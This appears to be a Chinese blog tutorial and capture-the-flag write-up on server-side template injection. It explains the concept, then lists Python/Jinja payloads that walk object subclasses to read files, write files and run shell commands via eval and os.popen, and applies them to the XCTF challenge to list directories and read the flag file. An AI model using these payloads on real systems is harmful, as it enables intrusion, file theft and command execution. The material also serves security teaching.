一、概念(废话)
SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该都知道sql注入的原理以及方式,而模板注入的原理也很类似都是通过输入一些指令在后端处理进行了语句的拼接然后执行。模板注入不同的是它是针对python、php、java、nodejs、javascript或是ruby的网站处理框架。
二、模板引擎(摘自百度百科)
模板引擎不属于特定技术领域,它是跨领域跨平台的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm开发都会用到模板引擎技术。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
#沙盒
沙盒就好比虚拟机,即使被攻击也不会对真实的环境造成影响,当被病毒破坏后也十分容易重构。再讲一下蜜罐,蜜罐跟沙盒是完全不同的,沙盒的作用像是将恶意的软件放在一个封闭的盒子里进行测试,而蜜罐则是一个陷阱,专门引诱攻击者进行入侵,像是伪造了一个实际的网络,有文件服务器、web服务器等,在攻击者渗透的同时监视攻击者的行为从而分析攻击方式进行预防。
三、SSTI
借用另一篇博客的例子
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
echo $output;
此处的name就会产生模板注入漏洞。
这里用vulhub的SSTI靶场环境举个例子
记住这个guest
注意我的url里面多了一个name的传参,形式是用两个大括号包起来的表达式,而guest变成了表达式运算后的值,说明我们传入的参数被执行了。
Python的SSTI
__class__:用于返回对象所属的类 __bases__:以元组的方式返回一个类所继承的类 __mro__:返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有的类 __subclasses__():获取类的所有子类 __init__:所有自带的类都包含init方法,常用它当跳板来调用globals __globals__:返回当前位置的全部模块,方法和全局变量,用于配合init使用
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
四、XCTF-WEB进阶区 Web_python_template_injection
测试模板注入点
注意url和我选中的部分,我们在url上加了{{7*8}},返回了56,说明命令被执行了,存在SSTI注入。
思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
下面的操作就是一般模板注入的常规套路了,请大家注意每一张图片的url。
{{config}}:查看全局变量
{{''.__class__.__mro__[2].__subclasses__()}}
发现一个type file,说明它的类型是文件,可以进行读取。
{{ ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__ }}
可以看到有一个 <class ‘site._Printer’>类型(可以进行命令执行)
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
发现f14g文件,进行读取。
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
参考博客链接: